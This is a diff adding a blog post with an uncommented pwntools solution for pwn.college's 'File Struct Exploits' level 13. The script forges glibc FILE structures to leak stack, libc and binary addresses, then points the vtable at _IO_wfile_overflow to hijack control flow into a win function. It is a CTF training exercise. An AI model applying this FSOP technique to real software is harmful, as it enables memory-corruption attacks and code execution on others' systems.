|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: (File Struct Exploits) level 13 |
| 4 | +categories: pwn.college File-Struct-Exploits |
| 5 | +date: 2025-11-14 07:02:27 +0300 |
| 6 | +tags: pwn.college FSOP vtable overlaping-vtable |
| 7 | +--- |
| 8 | +## Information |
| 9 | +- category: pwn |
| 10 | + |
| 11 | + |
| 12 | +## Description |
| 13 | +> Apply FILE struct exploits to write data and hijack control flow. |
| 14 | +
|
| 15 | +## Explit |
| 16 | +RIP future me reading this exploit with no comments 0-0 |
| 17 | + |
| 18 | +```python |
| 19 | +#!/usr/bin/env python3 |
| 20 | + |
| 21 | +from pwn import * |
| 22 | + |
| 23 | +exe = ELF("/challenge/babyfile_level13") |
| 24 | +context.binary = exe |
| 25 | + |
| 26 | + |
| 27 | +def conn(): |
| 28 | + if args.LOCAL: |
| 29 | + global r |
| 30 | + r = process([exe.path]) |
| 31 | + #gdb.attach(r) |
| 32 | + else: |
| 33 | + r = remote("addr", 1337) |
| 34 | + return r |
| 35 | + |
| 36 | + |
| 37 | +def new_note(idx, size): |
| 38 | + r.sendlineafter(b"> ", b"new_note") |
| 39 | + r.sendlineafter(b"> ", idx) |
| 40 | + r.sendlineafter(b"> ", size) |
| 41 | + |
| 42 | + |
| 43 | +def write_note(idx, data): |
| 44 | + r.sendlineafter(b"> ", b"write_note") |
| 45 | + r.sendlineafter(b"> ", idx) |
| 46 | + r.send(data) |
| 47 | + |
| 48 | + |
| 49 | +def open_file(): |
| 50 | + r.sendlineafter(b"> ", b"open_file") |
| 51 | + |
| 52 | + |
| 53 | +def write_fp(): |
| 54 | + r.sendlineafter(b"> ", b"write_fp") |
| 55 | + r.recvuntil(b"fp -> ") |
| 56 | + buf = int(r.recvline()[:-1], 16) |
| 57 | + return buf |
| 58 | + |
| 59 | + |
| 60 | +def write_file(idx): |
| 61 | + r.sendlineafter(b"> ", b"write_file") |
| 62 | + r.sendlineafter(b"> ", idx) |
| 63 | + |
| 64 | + |
| 65 | +def main(): |
| 66 | + r = conn() |
| 67 | + |
| 68 | + r.recvuntil(b"writing to is: ") |
| 69 | + |
| 70 | + stack = int(r.recvline()[:-1], 16) + 0x68 |
| 71 | + |
| 72 | + new_note(b"0", b"8") |
| 73 | + write_note(b"0", b"AAAA") |
| 74 | + |
| 75 | + open_file() |
| 76 | + |
| 77 | + fp = FileStructure() |
| 78 | + fp = fp.write(stack, 0x10) |
| 79 | + |
| 80 | + write_fp() |
| 81 | + r.send(bytes(fp)) |
| 82 | + |
| 83 | + write_file(b"0") |
| 84 | + |
| 85 | + r.recvuntil(b"fp);\n") |
| 86 | + |
| 87 | + puts = u64(r.recvline()[:-129].ljust(8, b"\x00")) - 378 |
| 88 | + libc = puts - 0x84420 |
| 89 | + _IO_wfile_overflow = libc + 0x1E8DC0 |
| 90 | + |
| 91 | + fp = FileStructure() |
| 92 | + fp = fp.write(stack + 0x30, 10) |
| 93 | + |
| 94 | + write_fp() |
| 95 | + r.send(bytes(fp)) |
| 96 | + |
| 97 | + write_file(b"0") |
| 98 | + |
| 99 | + r.recvuntil(b"fp);\n") |
| 100 | + elfbase = u64(r.recvline()[:-122]) - 0x211C - 201 |
| 101 | + |
| 102 | + buf = write_fp() |
| 103 | + |
| 104 | + win = elfbase + exe.sym["win"] |
| 105 | + |
| 106 | + fp = FileStructure() |
| 107 | + fp._lock = buf |
| 108 | + fp.chain = win |
| 109 | + fp._wide_data = buf |
| 110 | + fp.vtable = _IO_wfile_overflow |
| 111 | + raw_input(b"DEBUG") |
| 112 | + r.send(bytes(fp) + p64(buf)) |
| 113 | + |
| 114 | + write_file(b"0") |
| 115 | + r.interactive() |
| 116 | + |
| 117 | +if __name__ == "__main__": |
| 118 | + main() |
| 119 | +``` |
0 commit comments